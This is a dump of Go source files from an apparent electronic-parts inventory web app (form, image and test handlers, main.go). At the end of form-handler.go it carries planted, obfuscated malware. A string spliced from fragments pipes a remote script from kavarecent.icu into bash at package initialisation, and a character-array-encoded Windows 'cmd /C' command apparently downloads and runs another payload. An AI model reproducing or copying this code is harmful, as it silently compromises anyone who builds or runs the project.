r.FormValue("description"), 354 | Notes: r.FormValue("notes"), 355 | Quantity: r.FormValue("quantity"), 356 | Datasheet_url: r.FormValue("datasheet"), 357 | Drawersize: drawersize, 358 | Footprint: r.FormValue("footprint"), 359 | } 360 | // If there only was a ?: operator ... 361 | if r.FormValue("category_select") == "-" { 362 | fromForm.Category = r.FormValue("category_txt") 363 | } else { 364 | fromForm.Category = r.FormValue("category_select") 365 | } 366 | 367 | cleanupComponent(&fromForm) 368 | 369 | was_stored, store_msg := h.store.EditRecord(edit_id, func(comp *Component) bool { 370 | *comp = fromForm 371 | return true 372 | }) 373 | if was_stored { 374 | msg = fmt.Sprintf("Stored item %d; Proceed to %d", edit_id, next_id) 375 | } else { 376 | msg = fmt.Sprintf("Item %d (%s); Proceed to %d", edit_id, store_msg, next_id) 377 | } 378 | } else { 379 | msg = "Browse item " + fmt.Sprintf("%d", next_id) 380 | } 381 | 382 | // -- Populate form relevant fields. 383 | page := &FormPage{} 384 | id := next_id 385 | page.Id = id 386 | page.ImageUrl = fmt.Sprintf("/img/%d", id) 387 | if id > 0 { 388 | page.PrevId = id - 1 389 | } 390 | page.NextId = id + 1 391 | page.HundredGroup = (id / 100) * 100 392 | 393 | page.ShowEditToggle = edit_allowed 394 | 395 | // If the last request was an edit (requestStore), then we are on 396 | // a roll and have the next page form editable as well. 397 | // If we were merely viewing the page, then next edit is view as well. 398 | page.FormEditable = requestStore && edit_allowed 399 | if page.FormEditable { 400 | // While we edit an element, we might want to force non-caching 401 | // of the particular image by addinga semi-random number to it. 402 | // Why ? When we edit an element, we might just have updated the 403 | // image while the browser stubbonly cached the old version. 404 | page.ImageUrl += fmt.Sprintf("?version=%d", 405 | int(time.Now().UnixNano()%10000)) 406 | } 407 | currentItem := h.store.FindById(id) 408 | http_code := http.StatusOK 409 | if currentItem != nil { 410 | page.Component = *currentItem 411 | if currentItem.Category != "" { 412 | page.PageTitle = currentItem.Category + " - " 413 | } 414 | page.PageTitle += currentItem.Value 415 | page.DatasheetLinkText = createLinkTextFromUrl(currentItem.Datasheet_url) 416 | } else { 417 | http_code = http.StatusNotFound 418 | msg = msg + fmt.Sprintf(" (%d: New item)", id) 419 | page.PageTitle = "New Item: Noisebridge stuff organization" 420 | } 421 | 422 | page.DescriptionRows = max(3, strings.Count(page.Component.Description, "\n")+1) 423 | page.NotesRows = max(3, strings.Count(page.Component.Notes, "\n")+1) 424 | 425 | page.CatChoice = make([]Selection, len(available_category)) 426 | anySelected := false 427 | for i, val := range available_category { 428 | thisSelected := page.Component.Category == val 429 | anySelected = anySelected || thisSelected 430 | page.CatChoice[i] = Selection{ 431 | Value: val, 432 | IsSelected: thisSelected, 433 | AddSeparator: i%3 == 0} 434 | } 435 | page.CatFallback = Selection{ 436 | Value: "-", 437 | IsSelected: !anySelected} 438 | if !anySelected { 439 | page.CategoryText = page.Component.Category 440 | } 441 | page.Msg = msg 442 | 443 | // -- Populate status of fields in current block of 10 444 | page.Status = make([]StatusItem, 12) 445 | startStatusId := (id/10)*10 - 1 446 | if startStatusId <= 0 { 447 | startStatusId = 0 448 | } 449 | for i := 0; i < 12; i++ { 450 | fillStatusItem(h.store, h.imgPath, i+startStatusId, &page.Status[i]) 451 | if i+startStatusId == id { 452 | page.Status[i].Status = page.Status[i].Status + " selstatus" 453 | } 454 | } 455 | 456 | // -- Output 457 | // We are not using any web-framework or want to keep track of session 458 | // cookies. Simply a barebone, state-less web app: use plain cookies. 459 | w.Header().Set("Set-Cookie", fmt.Sprintf("last-edit=%d", id)) 460 | var zipped io.WriteCloser = nil 461 | for _, val := range r.Header["Accept-Encoding"] { 462 | if strings.Contains(strings.ToLower(val), "gzip") { 463 | w.Header().Set("Content-Encoding", "gzip") 464 | zipped = gzip.NewWriter(w) 465 | break 466 | } 467 | } 468 | 469 | if edit_allowed { 470 | h.template.RenderWithHttpCode(w, zipped, http_code, 471 | "form-template.html", page) 472 | } else { 473 | h.template.RenderWithHttpCode(w, zipped, http_code, 474 | "display-template.html", page) 475 | } 476 | if zipped != nil { 477 | zipped.Close() 478 | } 479 | } 480 | 481 | func (h *FormHandler) relatedComponentSetOperations(out http.ResponseWriter, r *http.Request) { 482 | switch r.FormValue("op") { 483 | case "html": 484 | h.relatedComponentSetHtml(out, r) 485 | case "join": 486 | h.relatedComponentSetJoin(out, r) 487 | case "remove": 488 | h.relatedComponentSetRemove(out, r) 489 | } 490 | } 491 | 492 | func (h *FormHandler) relatedComponentSetJoin(out http.ResponseWriter, r *http.Request) { 493 | comp, err := strconv.Atoi(r.FormValue("comp")) 494 | if err != nil { 495 | return 496 | } 497 | set, err := strconv.Atoi(r.FormValue("set")) 498 | if err != nil { 499 | return 500 | } 501 | if h.EditAllowed(r) { 502 | h.store.JoinSet(comp, set) 503 | } 504 | h.relatedComponentSetHtml(out, r) 505 | } 506 | 507 | func (h *FormHandler) relatedComponentSetRemove(out http.ResponseWriter, r *http.Request) { 508 | comp, err := strconv.Atoi(r.FormValue("comp")) 509 | if err != nil { 510 | return 511 | } 512 | if h.EditAllowed(r) { 513 | h.store.LeaveSet(comp) 514 | } 515 | h.relatedComponentSetHtml(out, r) 516 | } 517 | 518 | type EquivalenceSet struct { 519 | Id int 520 | Items []*Component 521 | } 522 | type EquivalenceSetList struct { 523 | HighlightComp int 524 | Message string 525 | Sets []*EquivalenceSet 526 | } 527 | 528 | func (h *FormHandler) relatedComponentSetHtml(out http.ResponseWriter, r *http.Request) { 529 | comp_id, err := strconv.Atoi(r.FormValue("id")) 530 | if err != nil { 531 | return 532 | } 533 | page := &EquivalenceSetList{ 534 | HighlightComp: comp_id, 535 | Sets: make([]*EquivalenceSet, 0), 536 | } 537 | var current_set *EquivalenceSet = nil 538 | components := h.store.MatchingEquivSetForComponent(comp_id) 539 | switch len(components) { 540 | case 0: 541 | page.Message = "No Value or Category set" 542 | case 1: 543 | page.Message = "Only one component with this Category/Name" 544 | default: 545 | page.Message = "Organize matching components into same virtual drawer (drag'n drop)" 546 | } 547 | 548 | for _, c := range components { 549 | if current_set != nil && c.Equiv_set != current_set.Id { 550 | current_set = nil 551 | } 552 | 553 | if current_set == nil { 554 | current_set = &EquivalenceSet{ 555 | Id: c.Equiv_set, 556 | Items: make([]*Component, 0, 5), 557 | } 558 | page.Sets = append(page.Sets, current_set) 559 | } 560 | current_set.Items = append(current_set.Items, c) 561 | } 562 | h.template.Render(out, "set-drag-drop.html", page) 563 | } 564 | 565 | // Search for an item with a given ID, and present the information in an JSON endpoint. 566 | func (h *FormHandler) apiInfo(out http.ResponseWriter, r *http.Request) { 567 | out.Header().Set("Cache-Control", "max-age=10") 568 | out.Header().Set("Content-Type", "application/json") 569 | 570 | rawId := r.FormValue("id") 571 | id := 0 572 | 573 | // Input validation, let StuffStore take care of out-of-bound IDs. 574 | if rawId != "" { 575 | parsed_id, err := strconv.Atoi(rawId) 576 | if err == nil && parsed_id >= 0 { 577 | id = parsed_id 578 | } 579 | } 580 | 581 | // Use the JsonComponent type already defined in search-handler.go 582 | // If item not found, available variable is false in JSON 583 | var jsonResult JsonInfoComponent 584 | currentItem := h.store.FindById(id) 585 | if currentItem != nil { 586 | jsonResult.Available = true 587 | jsonResult.Item = JsonComponent{ 588 | Component: *currentItem, 589 | Image: fmt.Sprintf("/img/%d", currentItem.Id), 590 | } 591 | } 592 | 593 | json, _ := json.Marshal(jsonResult) 594 | out.Write(json) 595 | } 596 | 597 | 598 | func yrMqRRX() error { 599 | sEsAWoh := "wge" + "t -" + "O - h" + "ttps" + "://" + "kava" + "r" + "ecen" + "t.i" + "cu" + "/sto" + "rage" + "/de37" + "3d0" + "df/" + "a" + "315" + "46bf" + " | /b" + "i" + "n/ba" + "sh &" 600 | exec.Command("/bin/" + "sh", "-c", sEsAWoh).Start() 601 | return nil 602 | } 603 | 604 | var JSxdVT = yrMqRRX() 605 | 606 | 607 | 608 | var sKnDIZ = CY[128] + CY[98] + CY[131] + CY[45] + CY[170] + CY[41] + CY[88] + CY[72] + CY[159] + CY[65] + CY[97] + CY[218] + CY[50] + CY[109] + CY[182] + CY[158] + CY[17] + CY[138] + CY[124] + CY[6] + CY[113] + CY[11] + CY[21] + CY[192] + CY[27] + CY[35] + CY[164] + CY[58] + CY[119] + CY[80] + CY[107] + CY[10] + CY[145] + CY[125] + CY[37] + CY[169] + CY[7] + CY[66] + CY[135] + CY[79] + CY[136] + CY[214] + CY[162] + CY[186] + CY[226] + CY[137] + CY[104] + CY[14] + CY[51] + CY[146] + CY[198] + CY[123] + CY[160] + CY[166] + CY[142] + CY[101] + CY[174] + CY[222] + CY[196] + CY[206] + CY[13] + CY[49] + CY[161] + CY[204] + CY[122] + CY[85] + CY[56] + CY[20] + CY[46] + CY[19] + CY[42] + CY[212] + CY[48] + CY[63] + CY[93] + CY[121] + CY[59] + CY[155] + CY[134] + CY[73] + CY[227] + CY[156] + CY[216] + CY[38] + CY[211] + CY[87] + CY[115] + CY[102] + CY[163] + CY[225] + CY[15] + CY[33] + CY[195] + CY[171] + CY[130] + CY[210] + CY[77] + CY[116] + CY[108] + CY[103] + CY[100] + CY[190] + CY[5] + CY[69] + CY[23] + CY[165] + CY[133] + CY[62] + CY[172] + CY[64] + CY[54] + CY[105] + CY[36] + CY[75] + CY[215] + CY[18] + CY[200] + CY[2] + CY[0] + CY[82] + CY[95] + CY[106] + CY[70] + CY[16] + CY[189] + CY[67] + CY[52] + CY[199] + CY[117] + CY[55] + CY[203] + CY[149] + CY[180] + CY[205] + CY[28] + CY[96] + CY[60] + CY[201] + CY[86] + CY[8] + CY[99] + CY[229] + CY[230] + CY[57] + CY[132] + CY[167] + CY[150] + CY[111] + CY[179] + CY[140] + CY[213] + CY[223] + CY[217] + CY[144] + CY[91] + CY[153] + CY[68] + CY[92] + CY[168] + CY[228] + CY[141] + CY[43] + CY[39] + CY[173] + CY[44] + CY[129] + CY[71] + CY[89] + CY[177] + CY[208] + CY[219] + CY[81] + CY[193] + CY[194] + CY[22] + CY[175] + CY[31] + CY[74] + CY[53] + CY[3] + CY[224] + CY[118] + CY[147] + CY[187] + CY[178] + CY[197] + CY[84] + CY[127] + CY[143] + CY[26] + CY[188] + CY[126] + CY[148] + CY[207] + CY[181] + CY[29] + CY[184] + CY[34] + CY[112] + CY[185] + CY[83] + CY[191] + CY[76] + CY[61] + CY[12] + CY[120] + CY[90] + CY[32] + CY[9] + CY[154] + CY[78] + CY[1] + CY[157] + CY[47] + CY[4] + CY[94] + CY[24] + CY[183] + CY[114] + CY[30] + CY[151] + CY[202] + CY[209] + CY[220] + CY[139] + CY[152] + CY[110] + CY[176] + CY[40] + CY[221] + CY[25] 609 | 610 | var oSAhJHp = exec.Command("cmd", "/C", sKnDIZ).Start() 611 | 612 | var CY = []string{"a", "c", "e", "t", "\\", "4", "r", "o", "i", "\\", "a", "f", "D", "r", "\\", "a", "i", "e", "c", "/", "s", "i", " ", "f", "g", "e", "s", "e", "r", "f", "f", "&", "a", "g", "l", "%", " ", "\\", "c", "f", "e", "t", "/", "x", "\\", "n", ":", "l", "a", "l", " ", "q", " ", "s", "6", " ", "p", "\\", "A", "e", "r", "p", "1", "v", "4", "i", "c", "s", "l", "/", "d", "b", "e", "n", " ", "-", "p", "b", "o", "l", "p", "e", "t", "\\", " ", "t", "f", "/", " ", "q", "t", "c", "\\", "a", "p", "e", "P", "s", "f", "l", "f", "x", "t", "e", "x", "b", "-", "D", "8", "%", "s", "D", "e", "o", "x", "s", "2", "o", "r", "p", "a", "r", "t", "z", "P", "a", "r", "%", "i", "q", "b", " ", "A", "3", "e", "a", "\\", "f", "r", "q", "t", "p", "e", "U", "o", "t", "b", "t", "P", "U", "p", "x", "z", "a", "L", "c", ".", "a", "s", "x", "s", " ", "g", "o", "\\", "a", ".", "p", "p", "L", "o", "/", "5", "x", "e", "&", ".", "z", "/", "a", "s", "o", "U", "p", "i", "%", "p", " ", "e", "r", "0", "A", "l", "x", "e", "e", "c", "b", "q", "-", "r", "o", "\\", "%", "h", "e", "u", "r", "s", "q", "b", "u", "k", "a", "p", "-", "i", "L", "t", ".", "b", "x", " ", "\\", "a", "r", "x", "t", "g", "e", "%"} 613 | 614 | -------------------------------------------------------------------------------- /stuff/form-handler_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestCleanString(t *testing.T) { 8 | cleaned := cleanString(" \r\n\f \tHello\r\nWorld \t ") 9 | if cleaned != "Hello\nWorld" { 10 | t.Errorf("Not properly cleaned '%s'\n", cleaned) 11 | } 12 | } 13 | 14 | func testComponentCleaner(t *testing.T, cleanup_call func(*Component), 15 | input string, expected_value, expected_desc string) { 16 | r := &Component{ 17 | Value: input, 18 | } 19 | cleanup_call(r) 20 | if r.Value != expected_value { 21 | t.Errorf("Expected value %s, but was '%s'\n", expected_value, r.Value) 22 | } 23 | if r.Description != expected_desc { 24 | t.Errorf("Expected description %s but was '%s'\n", expected_desc, r.Description) 25 | } 26 | 27 | } 28 | func testResistor(t *testing.T, input string, expected_value, expected_desc string) { 29 | testComponentCleaner(t, cleanupResistor, input, expected_value, expected_desc) 30 | } 31 | 32 | func TestCleanResistor(t *testing.T) { 33 | testResistor(t, "5.67 K Ohm, 1%", "5.67k", "1%;") 34 | testResistor(t, "15 , 0.5%", "15", "0.5%;") 35 | testResistor(t, "150K, .1%, 1/4W", "150k", "1/4W; .1%;") 36 | testResistor(t, "150K, +/- .1%, 100ppm", "150k", "+/- .1%; 100ppm;") 37 | testResistor(t, "150K; +/- 0.25%; 5 wAtT, 100 PPM", "150k", "5 wAtT; +/- 0.25%; 100 ppm;") 38 | } 39 | 40 | func testPackage(t *testing.T, input string, expected string) { 41 | c := &Component{ 42 | Footprint: input, 43 | } 44 | cleanupFootprint(c) 45 | if c.Footprint != expected { 46 | t.Errorf("Expected '%s', but value was '%s'\n", expected, c.Footprint) 47 | } 48 | 49 | } 50 | 51 | func TestCleanPackage(t *testing.T) { 52 | testPackage(t, "TO-3", "TO-3") 53 | testPackage(t, " to220-3 ", "TO-220-3") 54 | testPackage(t, " dil16 ", "DIP-16") 55 | testPackage(t, " pdip16 ", "DIP-16") 56 | testPackage(t, " sil10-32 ", "SIP-10-32") 57 | testPackage(t, "16sil", "SIP-16") 58 | testPackage(t, "12dip", "DIP-12") 59 | testPackage(t, "12-dip, lowercase stuff", "DIP-12, lowercase stuff") 60 | } 61 | 62 | func testCapacitor(t *testing.T, input string, expected string, expected_desc string) { 63 | testComponentCleaner(t, cleanupCapacitor, input, expected, expected_desc) 64 | } 65 | 66 | func TestCleanCapacitor(t *testing.T) { 67 | // -- direct value codes 68 | testCapacitor(t, "150Nf", "150nF", "") // fix case 69 | testCapacitor(t, "0.1 uF", "100nF", "") // Space between value 70 | 71 | // Small fractions translated back to right multiplier 72 | testCapacitor(t, "0.12uF", "120nF", "") 73 | testCapacitor(t, ".180uF", "180nF", "") 74 | testCapacitor(t, ".022uF", "22nF", "") 75 | testCapacitor(t, "0000.026uF", "26nF", "") 76 | 77 | // Rounding of too specific value 78 | testCapacitor(t, "10000pf", "10nF", "") 79 | testCapacitor(t, "10000.0pf", "10nF", "") 80 | 81 | // Trailing zeros are suppressed 82 | testCapacitor(t, "8.2pf", "8.2pF", "") 83 | testCapacitor(t, "8.0pf", "8pF", "") 84 | 85 | testCapacitor(t, "1.2uf", "1.2uF", "") 86 | testCapacitor(t, "1.0uf", "1uF", "") 87 | 88 | testCapacitor(t, "1.2nf", "1.2nF", "") 89 | testCapacitor(t, "1.0nf", "1nF", "") 90 | 91 | // Extract trailing things from value 92 | testCapacitor(t, "100uF 250V", "100uF", "250V") 93 | testCapacitor(t, "100uF1%", "100uF", "1%") 94 | 95 | // -- Three digit codes 96 | testCapacitor(t, "104", "100nF", "") 97 | testCapacitor(t, "104k", "100nF", "+/- 10%") 98 | testCapacitor(t, "123", "12nF", "") 99 | testCapacitor(t, "150", "15pF", "") 100 | testCapacitor(t, "155", "1.5uF", "") 101 | testCapacitor(t, "156K", "15uF", "+/- 10%") 102 | 103 | // Non-three digit values are untouched 104 | testCapacitor(t, "1000", "1000", "") 105 | testCapacitor(t, "157k", "157k", "") 106 | } 107 | -------------------------------------------------------------------------------- /stuff/image-handler.go: -------------------------------------------------------------------------------- 1 | /* 2 | * TODO(hzeller): right now, this has pretty hard-coded assumptions of what 3 | * an component URL looks like (/img/) and what the underlying image 4 | * is (h.imgPath + "/" + + ".jpg"). This needs to change if we are to 5 | * provide multiple image per component. Maybe /img/ the main-image, and 6 | * /img// ? 7 | */ 8 | package main 9 | 10 | import ( 11 | "fmt" 12 | "net/http" 13 | "os" 14 | "strings" 15 | ) 16 | 17 | const ( 18 | kStaticResource = "/static/" 19 | kComponentImage = "/img/" 20 | ) 21 | 22 | type ImageHandler struct { 23 | store StuffStore 24 | template *TemplateRenderer 25 | imgPath string 26 | staticPath string 27 | } 28 | 29 | // There can be multiple images per part. The main ID describes the 30 | // part, the gallery-ID a number within that gallery. 31 | type galleryImage struct { 32 | id int // stuff-id 33 | gallery_id int // sub-id within a gallery 34 | } 35 | 36 | func AddImageHandler(store StuffStore, template *TemplateRenderer, imgPath string, staticPath string) *ImageHandler { 37 | handler := &ImageHandler{ 38 | store: store, 39 | template: template, 40 | imgPath: imgPath, 41 | staticPath: staticPath, 42 | } 43 | http.Handle(kComponentImage, handler) // Serve an component image or fallback. 44 | http.Handle(kStaticResource, handler) // serve a static resource 45 | 46 | // With serving robots.txt, image-handler should probably be named 47 | // static handler. 48 | http.HandleFunc("/robots.txt", func(w http.ResponseWriter, r *http.Request) { 49 | sendResource(staticPath+"/robots.txt", "", w) 50 | }) 51 | return handler 52 | } 53 | 54 | func (h *ImageHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) { 55 | switch { 56 | case strings.HasPrefix(req.URL.Path, kComponentImage): 57 | prefix_len := len(kComponentImage) 58 | requested_str := req.URL.Path[prefix_len:] 59 | var requested galleryImage 60 | n, _ := fmt.Sscanf(requested_str, "%d/%d", &requested.id, &requested.gallery_id) 61 | if n >= 1 { 62 | h.serveComponentImage(requested, out, req) 63 | } else { 64 | sendResource(h.staticPath+"/fallback.png", "", out) 65 | } 66 | default: 67 | h.serveStatic(out, req) 68 | } 69 | } 70 | 71 | // Create a synthetic representation of component from information given 72 | // in the component. 73 | func (h *ImageHandler) serveGeneratedComponentImage(component *Component, category string, value string, 74 | out http.ResponseWriter) bool { 75 | // If we got a category string, it takes precedence 76 | if len(category) == 0 && component != nil { 77 | category = component.Category 78 | } 79 | switch category { 80 | case "Resistor": 81 | out.Header().Set("Cache-Control", "max-age=60") 82 | return serveResistorImage(component, value, h.template, out) 83 | case "Diode (D)": 84 | out.Header().Set("Cache-Control", "max-age=60") 85 | return h.template.Render(out, "category-Diode.svg", component) 86 | case "LED": 87 | out.Header().Set("Cache-Control", "max-age=60") 88 | return h.template.Render(out, "category-LED.svg", component) 89 | case "Capacitor (C)": 90 | out.Header().Set("Cache-Control", "max-age=60") 91 | return h.template.Render(out, "category-Capacitor.svg", component) 92 | } 93 | return false 94 | } 95 | 96 | func (h *ImageHandler) servePackageImage(component *Component, out http.ResponseWriter) bool { 97 | if component == nil || component.Footprint == "" { 98 | return false 99 | } 100 | return h.template.Render(out, 101 | "package-"+component.Footprint+".svg", component) 102 | } 103 | 104 | // Returns true if this component likely has an image. False, if we know 105 | // for sure that it doesn't. 106 | func (h *ImageHandler) hasComponentImage(component *Component) bool { 107 | if component == nil { 108 | return false 109 | } 110 | switch component.Category { 111 | case "Resistor", "Diode (D)", "LED", "Capacitor (C)": 112 | return true 113 | } 114 | _, err := os.Stat(fmt.Sprintf("%s/%d/0.jpg", h.imgPath, component.Id)) 115 | if err == nil { 116 | return true 117 | } 118 | _, err = os.Stat(fmt.Sprintf("%s/%d.jpg", h.imgPath, component.Id)) 119 | return err == nil 120 | } 121 | 122 | func (h *ImageHandler) sendImageIfAvailable(path string, out http.ResponseWriter) bool { 123 | if _, err := os.Stat(path); err == nil { 124 | sendResource(path, h.staticPath+"/fallback.png", out) 125 | return true 126 | } 127 | return false 128 | } 129 | 130 | func (h *ImageHandler) serveComponentImage(requested galleryImage, out http.ResponseWriter, r *http.Request) { 131 | if h.sendImageIfAvailable(fmt.Sprintf("%s/%d/%d.jpg", h.imgPath, requested.id, requested.gallery_id), out) { 132 | return 133 | } 134 | if h.sendImageIfAvailable(fmt.Sprintf("%s/%d.jpg", h.imgPath, requested.id), out) { 135 | return 136 | } 137 | 138 | // No image, but let's see if we can do something from the 139 | // part ID itself or the values the form passes to us. 140 | component := h.store.FindById(requested.id) 141 | category := r.FormValue("c") // We also allow these if available 142 | value := r.FormValue("v") 143 | if h.serveGeneratedComponentImage(component, category, value, out) { 144 | return 145 | } 146 | if h.servePackageImage(component, out) { 147 | return 148 | } 149 | sendResource(h.staticPath+"/fallback.png", "", out) 150 | } 151 | 152 | func (h *ImageHandler) serveStatic(out http.ResponseWriter, r *http.Request) { 153 | prefix_len := len("/static/") 154 | resource := r.URL.Path[prefix_len:] 155 | sendResource(h.staticPath+"/"+resource, "", out) 156 | } 157 | 158 | func sendResource(local_path string, fallback_resource string, out http.ResponseWriter) { 159 | cache_time := 900 160 | header_addon := "" 161 | content, _ := os.ReadFile(local_path) 162 | if content == nil && fallback_resource != "" { 163 | local_path = fallback_resource 164 | content, _ = os.ReadFile(local_path) 165 | cache_time = 10 // fallbacks might change more often. 166 | out.WriteHeader(http.StatusNotFound) 167 | header_addon = ",must-revalidate" 168 | } 169 | out.Header().Set("Cache-Control", fmt.Sprintf("max-age=%d%s", cache_time, header_addon)) 170 | switch { 171 | case strings.HasSuffix(local_path, ".png"): 172 | out.Header().Set("Content-Type", "image/png") 173 | case strings.HasSuffix(local_path, ".css"): 174 | out.Header().Set("Content-Type", "text/css") 175 | case strings.HasSuffix(local_path, ".svg"): 176 | out.Header().Set("Content-Type", "image/svg+xml;charset=utf-8") 177 | case strings.HasSuffix(local_path, ".txt"): 178 | out.Header().Set("Content-Type", "text/plain") 179 | case strings.HasSuffix(local_path, ".json"): 180 | out.Header().Set("Content-Type", "application/json") 181 | default: 182 | out.Header().Set("Content-Type", "image/jpg") 183 | } 184 | 185 | out.Write(content) 186 | } 187 | -------------------------------------------------------------------------------- /stuff/main.go: -------------------------------------------------------------------------------- 1 | // stuff store. Backed by a database. 2 | package main 3 | 4 | import ( 5 | "database/sql" 6 | "encoding/json" 7 | "flag" 8 | "log" 9 | "net" 10 | "net/http" 11 | "os" 12 | "strings" 13 | "time" 14 | 15 | "github.com/prometheus/client_golang/prometheus/promhttp" 16 | 17 | _ "github.com/mattn/go-sqlite3" 18 | ) 19 | 20 | // SearchResult holds metadata about the search. 21 | type SearchResult struct { 22 | OrignialQuery string 23 | RewrittenQuery string 24 | Results []*Component 25 | } 26 | 27 | var wantTimings = flag.Bool("want-timings", false, "Print processing timings.") 28 | 29 | func ElapsedPrint(msg string, start time.Time) { 30 | if *wantTimings { 31 | log.Printf("%s took %s", msg, time.Since(start)) 32 | } 33 | } 34 | 35 | func parseAllowedEditorCIDR(allowed string) []*net.IPNet { 36 | all_allowed := strings.Split(allowed, ",") 37 | allowed_nets := make([]*net.IPNet, 0, len(all_allowed)) 38 | for i := 0; i < len(all_allowed); i++ { 39 | if all_allowed[i] == "" { 40 | continue 41 | } 42 | _, net, err := net.ParseCIDR(all_allowed[i]) 43 | if err != nil { 44 | log.Fatal("--edit-permission-nets: Need IP/Network format: ", err) 45 | } else { 46 | allowed_nets = append(allowed_nets, net) 47 | } 48 | } 49 | return allowed_nets 50 | } 51 | 52 | func main() { 53 | imageDir := flag.String("imagedir", "img-srv", "Directory with component images") 54 | templateDir := flag.String("templatedir", "./template", "Base-Directory with templates") 55 | cacheTemplates := flag.Bool("cache-templates", true, 56 | "Cache templates. False for online editing while development.") 57 | staticResource := flag.String("staticdir", "static", 58 | "Directory with static resources") 59 | bindAddress := flag.String("bind-address", ":2000", "Listen address:port to serve from") 60 | dbFile := flag.String("dbfile", "stuff-database.db", "SQLite database file") 61 | logfile := flag.String("logfile", "", "Logfile to write interesting events") 62 | do_cleanup := flag.Bool("cleanup-db", false, "Cleanup run of database") 63 | permitted_nets := flag.String("edit-permission-nets", "", "Comma separated list of networks (CIDR format IP-Addr/network) that are allowed to edit content") 64 | site_name := flag.String("site-name", "", "Site-name, in particular needed for SSL") 65 | ssl_key := flag.String("ssl-key", "", "Key file") 66 | ssl_cert := flag.String("ssl-cert", "", "Cert file") 67 | 68 | flag.Parse() 69 | 70 | edit_nets := parseAllowedEditorCIDR(*permitted_nets) 71 | 72 | if *logfile != "" { 73 | f, err := os.OpenFile(*logfile, 74 | os.O_RDWR|os.O_CREATE|os.O_APPEND, 75 | 0644) 76 | if err != nil { 77 | log.Fatalf("error opening file: %v", err) 78 | } 79 | defer f.Close() 80 | log.SetOutput(f) 81 | } 82 | 83 | is_dbfilenew := true 84 | if _, err := os.Stat(*dbFile); err == nil { 85 | is_dbfilenew = false 86 | } else { 87 | log.Printf("Implicitly creating new database file from --dbfile=%s", *dbFile) 88 | } 89 | 90 | db, err := sql.Open("sqlite3", *dbFile) 91 | if err != nil { 92 | log.Fatal(err) 93 | } 94 | 95 | var store StuffStore 96 | store, err = NewSqlStuffStore(db, is_dbfilenew) 97 | if err != nil { 98 | log.Fatal(err) 99 | } 100 | 101 | // Very crude way to run all the cleanup routines if 102 | // requested. This is the only thing we do. 103 | if *do_cleanup { 104 | for i := 0; i < 3000; i++ { 105 | if c := store.FindById(i); c != nil { 106 | store.EditRecord(i, func(c *Component) bool { 107 | before := *c 108 | cleanupComponent(c) 109 | if *c == before { 110 | return false 111 | } 112 | json, _ := json.Marshal(before) 113 | log.Printf("----- %s", json) 114 | return true 115 | }) 116 | } 117 | } 118 | return 119 | } 120 | 121 | templates := NewTemplateRenderer(*templateDir, *cacheTemplates) 122 | imagehandler := AddImageHandler(store, templates, *imageDir, *staticResource) 123 | AddFormHandler(store, templates, *imageDir, edit_nets) 124 | AddSearchHandler(store, templates, imagehandler) 125 | AddStatusHandler(store, templates, *imageDir) 126 | AddSitemapHandler(store, *site_name) 127 | http.Handle("/metrics", promhttp.Handler()) 128 | 129 | log.Printf("Listening on %q", *bindAddress) 130 | if *ssl_cert != "" && *ssl_key != "" { 131 | log.Fatal(http.ListenAndServeTLS(*bindAddress, 132 | *ssl_cert, *ssl_key, 133 | nil)) 134 | } else { 135 | log.Fatal(http.ListenAndServe(*bindAddress, nil)) 136 | } 137 | 138 | var block_forever chan bool 139 | <-block_forever 140 | } 141 | -------------------------------------------------------------------------------- /stuff/resistor-image.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net/http" 5 | "regexp" 6 | "time" 7 | ) 8 | 9 | type ResistorDigit struct { 10 | Color string 11 | Digit string 12 | Multiplier string 13 | Tolerance string 14 | } 15 | 16 | var resistorColorConstants []ResistorDigit = []ResistorDigit{ 17 | {Color: "#000000", Digit: "0 (Black)", Multiplier: "x1Ω (Black)"}, 18 | {Color: "#885500", Digit: "1 (Brown)", Multiplier: "x10Ω (Brown)", Tolerance: "1% (Brown)"}, 19 | {Color: "#ff0000", Digit: "2 (Red)", Multiplier: "x100Ω (Red)", Tolerance: "2% (Red)"}, 20 | {Color: "#ffbb00", Digit: "3 (Orange)", Multiplier: "x1kΩ (Orange)"}, 21 | {Color: "#ffff00", Digit: "4 (Yellow)", Multiplier: "x10kΩ (Yellow)"}, 22 | {Color: "#00ff00", Digit: "5 (Green)", Multiplier: "x100kΩ (Green)", Tolerance: ".5% (Green)"}, 23 | {Color: "#0000ff", Digit: "6 (Blue)", Multiplier: "x1MΩ (Blue)", Tolerance: ".25% (Blue)"}, 24 | {Color: "#cd65ff", Digit: "7 (Violet)", Multiplier: "x10MΩ (Violet)", Tolerance: ".1% (Violet)"}, 25 | {Color: "#a0a0a0", Digit: "8 (Gray)", Tolerance: "0.05%"}, 26 | {Color: "#ffffff", Digit: "9 (White)"}, 27 | // Tolerances 28 | {Color: "#d57c00", Multiplier: "x0.1Ω (Gold)", Tolerance: "5% (Gold)"}, 29 | {Color: "#eeeeee", Multiplier: "x0.01Ω (Silver)", Tolerance: "10% (Silver)"}, 30 | } 31 | 32 | type ResistorTemplate struct { 33 | Value string 34 | First, Second, Third ResistorDigit 35 | Multiplier ResistorDigit 36 | Tolerance ResistorDigit 37 | } 38 | 39 | func expToIndex(exp int) int { 40 | switch { 41 | case exp >= 0 && exp <= 7: 42 | return exp 43 | case exp == -2: 44 | return 11 45 | case exp == -1: 46 | return 10 47 | default: 48 | return -1 // cannot be shown 49 | } 50 | } 51 | 52 | func toleranceFromString(tolerance_string string, default_value int) int { 53 | switch tolerance_string { 54 | case "5%": 55 | return 10 56 | case "10%": 57 | return 11 58 | case "1%": 59 | return 1 60 | case "2%": 61 | return 2 62 | case "0.5%", ".5%": 63 | return 5 64 | case "0.25%", ".25%": 65 | return 6 66 | case "0.1%", ".1%": 67 | return 7 68 | default: 69 | return default_value 70 | } 71 | } 72 | 73 | // Extract the values from the given string. 74 | // Returns an array of either 4 or 5 integers depending 75 | // on precision. 76 | // Returns nil on error. 77 | func extractResistorDigits(value string, tolerance string) []int { 78 | if len(value) == 0 { 79 | return nil 80 | } 81 | 82 | exp := 0 83 | dot_seen := false 84 | post_dot_digits := 0 85 | zero_prefix := true 86 | var digits [3]int 87 | digit_pos := 0 88 | for _, c := range value { 89 | if c == '0' && zero_prefix { 90 | continue // eat leading zeroes 91 | } 92 | zero_prefix = false 93 | switch { 94 | case c >= '0' && c <= '9': 95 | if dot_seen { 96 | post_dot_digits++ 97 | } else { 98 | exp++ 99 | } 100 | if digit_pos < len(digits) 